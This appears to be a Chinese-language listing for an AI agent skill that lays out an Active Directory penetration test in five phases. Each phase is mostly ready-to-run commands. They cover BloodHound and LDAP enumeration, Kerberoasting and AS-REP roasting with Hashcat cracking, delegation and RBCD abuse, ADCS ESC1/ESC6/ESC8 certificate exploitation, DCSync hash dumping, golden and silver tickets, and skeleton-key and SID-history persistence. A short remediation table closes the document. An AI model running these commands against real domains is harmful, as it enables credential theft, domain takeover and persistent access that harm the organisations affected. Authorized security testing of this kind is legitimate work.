# Performing Active Directory Penetration Test

> 执行针对性的 Active Directory 渗透测试，涵盖域对象枚举、使用 BloodHound 发现攻击路径、利用 Kerberos 弱点、通过 ADCS/DCSync 提升权限，并演示域沦陷全过程。

- Skill: `killvxk/performing-active-directory-penetration-test` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-active-directory-penetration-test`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-active-directory-penetration-test/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-active-directory-penetration-test

---


# 执行 Active Directory 渗透测试

## 概述

Active Directory（AD）渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板，以及能让攻击者从普通域用户提升至域管理员（Domain Admin）或企业管理员（Enterprise Admin）的攻击路径。

## 前置条件

- 标准域用户凭据（最低起点）
- 对域控制器的网络访问（LDAP/389、Kerberos/88、SMB/445、DNS/53）
- 工具：BloodHound、Impacket、Certipy、Rubeus、NetExec、Mimikatz
- 已加入域的 Kali Linux 或 Windows 攻击机

## 阶段一：AD 枚举

### 域信息收集

```bash
# 基本域枚举
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP 枚举 — 域控制器
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# 枚举信任关系
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts

# 枚举域密码策略
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol

# 枚举组策略对象（GPO）
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords

# 查找启用非约束委派的计算机
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName

# 查找配置约束委派的用户
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto

# 枚举 LAPS（本地管理员密码解决方案）
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
```

### BloodHound 攻击路径分析

```bash
# 收集所有 BloodHound 数据
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# 备用方案：在 Windows 上使用 SharpHound
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# 启动 BloodHound
sudo neo4j start
bloodhound --no-sandbox

# BloodHound 中常用的 Cypher 查询：
# - 到域管理员的最短路径
# - 查找可 Kerberoast 的用户
# - 查找可 AS-REP Roast 的用户
# - 查找拥有 DCSync 权限的用户
# - 从已控制主体查找最短路径
# - 查找域用户是本地管理员的计算机
```

### 服务账户发现

```bash
# 查找拥有 SPN 的服务账户（可 Kerberoast）
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# 查找未启用 Kerberos 预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# 查找托管服务账户（gMSA）
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership
```

## 阶段二：Kerberos 攻击

### Kerberoasting

```bash
# 提取服务账户的 TGS 票据
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# 使用 Hashcat 破解（模式 13100 对应 Kerberos 5 TGS-REP etype 23）
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# 使用 Rubeus 进行定向 Kerberoasting（Windows）
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
```

### AS-REP Roasting

```bash
# 针对未启用预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# 破解 AS-REP 哈希（模式 18200）
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

### Kerberos 委派攻击

```bash
# 非约束委派 — 从内存提取 TGT
# 若已控制配置非约束委派的主机：
.\Rubeus.exe monitor /interval:5 /nowrap
# 使用 PrinterBug/SpoolSample 强制 DC 进行认证
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# 约束委派 — S4U 滥用
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass

# 基于资源的约束委派（RBCD）
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5
```

## 阶段三：ADCS（Active Directory 证书服务）攻击

```bash
# 使用 Certipy 枚举 ADCS
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — 存在漏洞的证书模板（注册者可指定 SAN）
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn administrator@corp.local

# 使用证书进行认证
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — 模板 ACL 错误配置
# 修改模板以启用 ESC1 条件，然后按上述方式利用

# ESC6 — CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn administrator@corp.local

# ESC8 — NTLM 中继至 HTTP 注册端点
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController
```

## 阶段四：域权限提升

### DCSync 攻击

```bash
# DCSync — 提取所有域哈希（需要复制权限）
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc

# DCSync 特定用户
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
  -just-dc-user krbtgt

# 使用 Mimikatz（Windows）
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
```

### 黄金票据（Golden Ticket）

```bash
# 创建黄金票据（需要 krbtgt 哈希和域 SID）
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass

# 使用 Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt
```

### 白银票据（Silver Ticket）

```bash
# 为特定服务创建白银票据
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
```

## 阶段五：持久化演示

```bash
# 骨架密钥（Skeleton Key）（注入 LSASS — 仅限授权测试）
mimikatz# privilege::debug
mimikatz# misc::skeleton
# 此后任何用户均可使用 "mimikatz" 作为密码进行认证

# AdminSDHolder 持久化
# 将受控用户添加到 AdminSDHolder ACL
# SDProp 进程每 60 分钟将 ACL 传播到所有受保护组

# SID 历史注入
# 将域管理员 SID 注入低权限用户的 SID 历史记录

# 记录所有持久化机制并在测试后清理
```

## 发现与修复建议

| 发现项 | CVSS | 修复建议 |
|---------|------|-------------|
| 密码较弱的可 Kerberoast 账户 | 7.5 | 使用 gMSA，对服务账户强制使用 25 位以上字符密码 |
| 服务器上的非约束委派 | 8.1 | 移除非约束委派，改用约束委派或 RBCD |
| 存在漏洞的 ADCS 模板（ESC1-ESC8） | 9.8 | 审计模板、移除危险权限、要求审批流程 |
| 非 DA 账户的 DCSync 权限 | 9.8 | 审计复制权限，实施分层管理员模型 |
| 已启用 LLMNR/NBT-NS | 8.1 | 通过 GPO 禁用 |
| 未部署 LAPS | 7.2 | 部署 Windows LAPS 管理本地管理员密码 |
| 域密码策略较弱 | 6.5 | 强制使用 14 位以上字符，实施细粒度密码策略 |

## 参考资料

- BloodHound: https://github.com/BloodHoundAD/BloodHound
- Impacket: https://github.com/fortra/impacket
- Certipy: https://github.com/ly4k/Certipy
- HackTricks AD: https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
- SpecterOps AD Security: https://specterops.io/blog/
- MITRE ATT&CK: https://attack.mitre.org/

